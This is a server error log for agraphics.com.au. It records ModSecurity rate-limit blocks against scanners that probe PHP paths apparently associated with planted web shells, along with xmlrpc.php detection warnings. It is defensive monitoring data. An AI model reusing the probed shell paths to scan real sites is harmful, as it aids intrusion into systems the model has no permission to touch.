[Sun Mar 29 05:05:09.814389 2026] [:error] [pid 32359:tid 32381] [client 20.122.187.158:28145] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ticket.php"] [unique_id "achChQMb8G3UzfQP3WjLIAAAANQ"]
[Sun Mar 29 05:05:10.228183 2026] [:error] [pid 32359:tid 32369] [client 20.122.187.158:28151] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ticket.php"] [unique_id "achChgMb8G3UzfQP3WjLIgAAAMg"]
[Sun Mar 29 05:05:10.644535 2026] [:error] [pid 32359:tid 32378] [client 20.122.187.158:27994] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ticket.php"] [unique_id "achChgMb8G3UzfQP3WjLJAAAANE"]
[Sun Mar 29 05:05:11.055140 2026] [:error] [pid 32359:tid 32376] [client 20.122.187.158:28071] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ticket.php"] [unique_id "achChwMb8G3UzfQP3WjLKAAAAM8"]
[Sun Mar 29 05:05:11.460322 2026] [:error] [pid 32255:tid 32291] [client 20.122.187.158:28142] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "achCh2nfn-AtRoMbquxFeAAAAEA"]
[Sun Mar 29 05:05:11.869363 2026] [:error] [pid 1524:tid 1545] [client 20.122.187.158:27983] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "achCh1oaWSl2asqQCh8OzwAAAQ4"]
[Sun Mar 29 05:05:12.285712 2026] [:error] [pid 32255:tid 32313] [client 20.122.187.158:28077] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "achCiGnfn-AtRoMbquxFeQAAAFY"]
[Sun Mar 29 05:05:12.694983 2026] [:error] [pid 32255:tid 32292] [client 20.122.187.158:28126] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wglum1.php"] [unique_id "achCiGnfn-AtRoMbquxFewAAAEE"]
[Sun Mar 29 05:05:13.098377 2026] [:error] [pid 32257:tid 32340] [client 20.122.187.158:28043] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpwer1.php"] [unique_id "achCiSE3TArOFrUtgWonegAAAJY"]
[Sun Mar 29 05:05:13.514181 2026] [:error] [pid 32359:tid 32370] [client 20.122.187.158:28050] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpwer1.php"] [unique_id "achCiQMb8G3UzfQP3WjLLgAAAMk"]
[Sun Mar 29 05:05:13.923844 2026] [:error] [pid 32254:tid 32274] [client 20.122.187.158:27993] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpwer1.php"] [unique_id "achCiaug2IHuyGgCTn8M4AAAAAo"]
[Sun Mar 29 05:05:14.347196 2026] [:error] [pid 32254:tid 32264] [client 20.122.187.158:28048] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpwer1.php"] [unique_id "achCiqug2IHuyGgCTn8M4gAAAAA"]
[Sun Mar 29 05:05:14.766107 2026] [:error] [pid 1524:tid 1531] [client 20.122.187.158:27972] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "achCiloaWSl2asqQCh8O1QAAAQM"]
[Sun Mar 29 05:05:15.193481 2026] [:error] [pid 32255:tid 32298] [client 20.122.187.158:28048] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "achCi2nfn-AtRoMbquxFfgAAAEc"]
[Sun Mar 29 05:05:15.610932 2026] [:error] [pid 32255:tid 32294] [client 20.122.187.158:28103] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "achCi2nfn-AtRoMbquxFgAAAAEM"]
[Sun Mar 29 05:05:16.017498 2026] [:error] [pid 32255:tid 32306] [client 20.122.187.158:28232] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yuzuru1.php"] [unique_id "achCjGnfn-AtRoMbquxFgwAAAE8"]
[Sun Mar 29 05:05:16.430682 2026] [:error] [pid 32257:tid 32333] [client 20.122.187.158:27989] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdone1.php"] [unique_id "achCjCE3TArOFrUtgWonfQAAAI8"]
[Sun Mar 29 05:05:16.841229 2026] [:error] [pid 32257:tid 32324] [client 20.122.187.158:28036] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdone1.php"] [unique_id "achCjCE3TArOFrUtgWongAAAAIY"]
[Sun Mar 29 05:05:17.249144 2026] [:error] [pid 32257:tid 32323] [client 20.122.187.158:28076] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdone1.php"] [unique_id "achCjSE3TArOFrUtgWongQAAAIU"]
[Sun Mar 29 05:05:17.654314 2026] [:error] [pid 32255:tid 32315] [client 20.122.187.158:28134] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wdone1.php"] [unique_id "achCjWnfn-AtRoMbquxFhQAAAFg"]
[Sun Mar 29 05:05:18.057682 2026] [:error] [pid 32257:tid 32334] [client 20.122.187.158:28155] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpass.php"] [unique_id "achCjiE3TArOFrUtgWonhgAAAJA"]
[Sun Mar 29 05:05:18.480963 2026] [:error] [pid 32257:tid 32318] [client 20.122.187.158:28044] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpass.php"] [unique_id "achCjiE3TArOFrUtgWoniAAAAIA"]
[Sun Mar 29 05:05:18.901361 2026] [:error] [pid 32257:tid 32337] [client 20.122.187.158:28035] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpass.php"] [unique_id "achCjiE3TArOFrUtgWonigAAAJM"]
[Sun Mar 29 05:05:19.330195 2026] [:error] [pid 1524:tid 1527] [client 20.122.187.158:27970] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xpass.php"] [unique_id "achCj1oaWSl2asqQCh8O2wAAAQA"]
[Sun Mar 29 05:05:19.735694 2026] [:error] [pid 1524:tid 1535] [client 20.122.187.158:28064] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ad.php"] [unique_id "achCj1oaWSl2asqQCh8O3QAAAQY"]
[Sun Mar 29 05:05:20.143115 2026] [:error] [pid 32257:tid 32332] [client 20.122.187.158:28051] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ad.php"] [unique_id "achCkCE3TArOFrUtgWonjAAAAI4"]
[Sun Mar 29 05:05:20.575747 2026] [:error] [pid 32257:tid 32340] [client 20.122.187.158:27998] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ad.php"] [unique_id "achCkCE3TArOFrUtgWonjgAAAJY"]
[Sun Mar 29 05:05:21.003021 2026] [:error] [pid 32257:tid 32333] [client 20.122.187.158:28090] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ad.php"] [unique_id "achCkSE3TArOFrUtgWonkAAAAI8"]
[Sun Mar 29 05:05:21.421141 2026] [:error] [pid 32257:tid 32330] [client 20.122.187.158:27919] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h02ugyh.php"] [unique_id "achCkSE3TArOFrUtgWonlAAAAIw"]
[Sun Mar 29 05:05:21.838375 2026] [:error] [pid 32257:tid 32342] [client 20.122.187.158:28082] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h02ugyh.php"] [unique_id "achCkSE3TArOFrUtgWonlgAAAJg"]
[Sun Mar 29 05:05:22.271520 2026] [:error] [pid 32257:tid 32320] [client 20.122.187.158:28063] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h02ugyh.php"] [unique_id "achCkiE3TArOFrUtgWonmAAAAII"]
[Sun Mar 29 05:05:22.756408 2026] [:error] [pid 32255:tid 32293] [client 20.122.187.158:28174] [client 20.122.187.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h02ugyh.php"] [unique_id "achCkmnfn-AtRoMbquxFiAAAAEI"]
[Sun Mar 29 08:51:43.023465 2026] [:error] [pid 23167:tid 23180] [client 45.94.31.49:62677] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ach3nxIAHJCFaHff3_eYAQAAAco"]
[Sun Mar 29 08:51:43.506626 2026] [:error] [pid 23167:tid 23174] [client 45.94.31.49:49928] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ach3nxIAHJCFaHff3_eYFAAAAcQ"]
[Sun Mar 29 08:51:43.995271 2026] [:error] [pid 23137:tid 23151] [client 45.94.31.49:53467] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ach3nxaWQa7LdZ_qGFaaDAAAAYw"]
[Sun Mar 29 08:51:44.487858 2026] [:error] [pid 32254:tid 32278] [client 45.94.31.49:60004] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ach3oKug2IHuyGgCTn8jyQAAAA4"]
[Sun Mar 29 08:51:44.984840 2026] [:error] [pid 23250:tid 23266] [client 45.94.31.49:64794] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ach3oJxrpj-dQjy1cvpgWgAAAk4"]
[Sun Mar 29 19:24:53.561629 2026] [:error] [pid 32255:tid 32309] [client 14.233.124.66:50767] [client 14.233.124.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.233.124.66, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ackMBWnfn-AtRoMbquy2RAAAAFI"]
[Sun Mar 29 19:24:53.573043 2026] [proxy_fcgi:error] [pid 32255:tid 32309] [client 14.233.124.66:50767] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 02:36:11.164828 2026] [proxy_fcgi:error] [pid 23284:tid 23310] [client 172.182.224.42:11869] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 02:36:11.325671 2026] [proxy_fcgi:error] [pid 23284:tid 23289] [client 172.182.224.42:11869] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 02:36:11.646205 2026] [proxy_fcgi:error] [pid 23284:tid 23302] [client 172.182.224.42:11869] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 02:36:11.806455 2026] [proxy_fcgi:error] [pid 23284:tid 23294] [client 172.182.224.42:11869] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 02:36:12.150689 2026] [proxy_fcgi:error] [pid 23284:tid 23286] [client 172.182.224.42:11869] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 02:36:12.311141 2026] [proxy_fcgi:error] [pid 23284:tid 23303] [client 172.182.224.42:11869] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 02:36:12.470847 2026] [proxy_fcgi:error] [pid 23284:tid 23308] [client 172.182.224.42:11869] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 02:36:14.199162 2026] [:error] [pid 23284:tid 23305] [client 172.182.224.42:11869] [client 172.182.224.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aclxHozBujdPHsq7wyRh4AAAApM"]
[Mon Mar 30 02:36:14.828283 2026] [:error] [pid 32255:tid 32300] [client 172.182.224.42:9501] [client 172.182.224.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aclxHmnfn-AtRoMbquxypQAAAEk"]
[Mon Mar 30 02:36:15.456968 2026] [:error] [pid 32255:tid 32315] [client 172.182.224.42:9505] [client 172.182.224.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aclxH2nfn-AtRoMbquxyrAAAAFg"]
[Mon Mar 30 02:36:16.083758 2026] [:error] [pid 32255:tid 32301] [client 172.182.224.42:9483] [client 172.182.224.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aclxIGnfn-AtRoMbquxyrgAAAEo"]
[Mon Mar 30 05:22:03.230340 2026] [:error] [pid 4139:tid 4165] [client 165.51.254.176:49375] [client 165.51.254.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.51.254.176, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acmX-4Yyhg47TZoaP9IWwAAAANI"]
[Mon Mar 30 05:22:03.250303 2026] [proxy_fcgi:error] [pid 4139:tid 4165] [client 165.51.254.176:49375] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 06:37:13.123337 2026] [:error] [pid 4040:tid 4127] [client 180.243.33.13:10850] [client 180.243.33.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.243.33.13, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acmpmQxlbJV8kpOpFvZvDwAAAJM"]
[Mon Mar 30 06:37:13.135014 2026] [proxy_fcgi:error] [pid 4040:tid 4127] [client 180.243.33.13:10850] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 11:19:29.164052 2026] [:error] [pid 35248:tid 35260] [client 152.57.17.141:52388] [client 152.57.17.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.57.17.141, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acnrwb3igMCgAQPFS_8ETwAAAEY"]
[Mon Mar 30 11:19:29.164833 2026] [:error] [pid 35248:tid 35263] [client 152.57.17.141:52389] [client 152.57.17.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.57.17.141, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acnrwb3igMCgAQPFS_8EUAAAAEk"]
[Mon Mar 30 11:19:29.177917 2026] [proxy_fcgi:error] [pid 35248:tid 35263] [client 152.57.17.141:52389] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 11:19:29.177896 2026] [proxy_fcgi:error] [pid 35248:tid 35260] [client 152.57.17.141:52388] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 11:37:08.877726 2026] [:error] [pid 64743:tid 64768] [client 45.117.61.65:62537] [client 45.117.61.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.117.61.65, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acnv5CzmpVL6Ubzil4haEgAAAVc"]
[Mon Mar 30 11:37:08.890439 2026] [proxy_fcgi:error] [pid 64743:tid 64768] [client 45.117.61.65:62537] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 11:37:26.628899 2026] [:error] [pid 35250:tid 35334] [client 180.191.238.214:25091] [client 180.191.238.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.191.238.214, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acnv9oaKM1MR6zcp2YOtYQAAANc"]
[Mon Mar 30 11:37:26.640386 2026] [proxy_fcgi:error] [pid 35250:tid 35334] [client 180.191.238.214:25091] AH01071: Got error 'Primary script unknown'
[Mon Mar 30 12:32:05.210163 2026] [:error] [pid 35248:tid 35258] [client 20.213.160.162:1515] [client 20.213.160.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.trash7206/index.php"] [unique_id "acn8xb3igMCgAQPFS_80VAAAAEQ"]
[Mon Mar 30 12:32:05.303249 2026] [:error] [pid 35248:tid 35277] [client 20.213.160.162:5255] [client 20.213.160.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.trash7206/index.php"] [unique_id "acn8xb3igMCgAQPFS_80WQAAAFc"]
[Mon Mar 30 12:32:05.368137 2026] [:error] [pid 35248:tid 35254] [client 20.213.160.162:1522] [client 20.213.160.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.trash7206/index.php"] [unique_id "acn8xb3igMCgAQPFS_80YQAAAEA"]
[Mon Mar 30 12:32:05.435279 2026] [:error] [pid 35248:tid 35266] [client 20.213.160.162:1474] [client 20.213.160.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.trash7206/index.php"] [unique_id "acn8xb3igMCgAQPFS_80dAAAAEw"]
